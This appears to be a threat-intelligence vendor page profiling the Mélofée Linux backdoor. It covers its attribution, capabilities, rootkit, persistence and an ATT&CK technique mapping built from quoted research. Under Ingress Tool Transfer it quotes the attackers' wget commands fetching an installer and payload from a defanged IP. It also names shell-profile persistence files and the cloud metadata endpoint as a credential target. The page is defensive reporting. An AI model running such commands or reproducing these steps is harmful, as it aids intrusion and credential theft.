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Malware2 associated actors

Mélofée

Tracked since Dec 12, 2025 · Updated 3 days ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 days9 mentions · peak 4 in a dayToday
Vulns0Associated
Actors2Associated
ATT&CK27Techniques
IOCs27Tracked
Type
Backdoor
Capabilities
PersistenceDefense evasionReconnaissanceExfiltrationPost exploitation
Platforms
Linux

Mélofée is a C++ backdoor family targeting Linux servers, publicly documented in March 2023 with analyzed variants dating to 2022. It is associated with Chinese state-sponsored activity, particularly the Winnti ecosystem, through shared infrastructure and related tooling. A later variant identified in 2024 specifically targeted Red Hat Enterprise Linux 7.9. Its initial-access methods and specific victim industries are not established.

Mélofée supports interactive shells, arbitrary command execution with output retrieval, file reading and writing, directory management, socket creation, and host-information collection. Some variants also provide process management, updating, relaunching, and self-removal. Command-and-control transports include raw TCP, TLS, and UDP using KCP. Configuration protection and packet encryption vary between versions, with RC4 and single-byte XOR used in different implementations.

Persistence mechanisms include system startup scripts, user shell initialization files, and cron jobs, depending on the variant and available privileges. Some deployments incorporate a modified Reptile kernel rootkit. Early implementations conceal installation artifacts by hooking directory-enumeration functions, while a later variant also hides processes and network connections. The rootkit accepts control commands from user space through ioctl. Additional evasion features include encrypted embedded kernel modules and process-name masquerading.

Mélofée shares rootkit-handling code and infrastructure characteristics with SparrowShell. These relationships connect it to a broader Linux espionage-tooling ecosystem but do not establish a single operator for all associated activity.

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Threat actors

Associated threat actors

2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

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CopperDragon

It also assessed that CopperDragon is involved in maintaining and supplying variants of the Melofee backdoor.

via infosecurity magazine newsinfosecurity-magazine.com
APT41

We recently discovered an novel undetected implant family targeting Linux servers, which we dubbed Mélofée.

via exatrack blogexatrack.com
MITRE ATT&CK

Techniques & procedures

27 distinct techniques documented for this family, organized by ATT&CK tactic.

Resource Development

4 techniques
T1583.001DomainsEvidence2

T1583.001 - Attackers acquired servers for staging and command & control

T1583.003Virtual Private ServerEvidence1

The implant and the rootkit were installed using shell commands downloading both the installer and a custom binary package from an adversary controlled server.

T1587.001MalwareEvidence2

All these samples shared a common code base, but showed a constant development

T1608.001Upload MalwareEvidence2

This server was known to be used to stage archives containing an installer for the Linux version of the Winnti rootkit.

Execution

1 technique
T1059.004Unix ShellEvidence2

0x50001 exec_command_with_output ... 0x60001 launch_shell

Persistence

2 techniques
T1037.004RC ScriptsEvidence2

Writing to this script ensures that both kernel and implant are executed at boot time.

T1546.004Unix Shell Configuration ModificationEvidence1

If it runs as a simple user, it will try to install its persistance in the following files: /home/CURRENT_USERNAME/.bash_profile /home/CURRENT_USERNAME/.bash_login /home/CURRENT_USERNAME/.profile

Privilege Escalation

2 techniques
T1037.004RC ScriptsEvidence2

Writing to this script ensures that both kernel and implant are executed at boot time.

T1546.004Unix Shell Configuration ModificationEvidence1

If it runs as a simple user, it will try to install its persistance in the following files: /home/CURRENT_USERNAME/.bash_profile /home/CURRENT_USERNAME/.bash_login /home/CURRENT_USERNAME/.profile

Stealth

6 techniques
T1014RootkitEvidence4

The first sample we found dropped a rootkit based on a modified version of the open source projet Reptile.

T1027Obfuscated Files or InformationEvidence1

A 2.7 MB ELF binary with near-maximum entropy (7.997 bits per byte across ~832 KB of code). The obfuscation isn't packing -- it's a custom code virtualizer or instruction-level transformation that renders static analysis effectively impossible without dedicated devirtualization tooling.

T1070.004File DeletionEvidence2

T1070.004 - Adversary can remove the implant, the rootkit and its configuratin from the system

T1497.003Time Based ChecksEvidence1

This implant implemented a similar mechanism for limiting working hours (defined as worktime)

T1564Hide ArtifactsEvidence1

Reptile provides a concealment feature for files, directories, processes, and network communications.

T1564.001Hidden Files and DirectoriesEvidence2

not display files with names containing intel_audio or rc.modules when listing a directory

Defense Impairment

2 techniques
T1599.001Network Address Translation TraversalEvidence1

Finally, the host is instructed to accept network traffic on the port 57590

T1686Disable or Modify System FirewallEvidence1

Depending on a configuration flag, the implant can install iptables rules to redirect TCP network traffic ... Finally, the host is instructed to accept network traffic on the port 57590

Credential Access

1 technique
T1552.005Cloud Instance Metadata APIEvidence1

The most operationally significant capability is the backdoor's access to cloud instance metadata at 169.254.169.254 . This is the link-local address that every major cloud provider uses to serve instance credentials, API tokens, and configuration data to running workloads.

Discovery

3 techniques
T1082System Information DiscoveryEvidence2

send_local_information Hostname, date, current UID, implant version number

T1083File and Directory DiscoveryEvidence2

0x40001 list_directory

T1497.003Time Based ChecksEvidence1

This implant implemented a similar mechanism for limiting working hours (defined as worktime)

Command and Control

9 techniques
T1071Application Layer ProtocolEvidence1

three socket types are implemented: TCPSocket... TLSSocket... UDPSocket... Some leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications

T1071.001Web ProtocolsEvidence2

Some leftover code seems to indicate that there could be a third type 0x3 for HTTP based communications, but it was not implemented in the analyzed samples.

T1090ProxyEvidence1

Also implements the management of a Socks proxy

T1090.001Internal ProxyEvidence1

0x10004 create_socket Create a bidirectional socket, probably used for proxying

T1095Non-Application Layer ProtocolEvidence1

TCPSocket ... using raw TCP ... UDPSocket ... using the KCP protocol to send data.

T1105Ingress Tool TransferEvidence1

wget http://173.209.62[.]186:8765/installer -O /var/tmp/installer wget http://173.209.62[.]186:8765/a.dat -O /var/tmp/usbd

T1132.002Non-Standard EncodingEvidence2

T1132.002 - Non standard encoding using KCP

T1571Non-Standard PortEvidence2

T1571 - Adversary can use alternative ports for communication

T1573.001Symmetric CryptographyEvidence2

in the last one it is encrypted using the RC4 algorithm with a hardcoded key

Indicators of compromise

Observables

27 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

17 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching27Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors2Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilitiesCVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping27Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.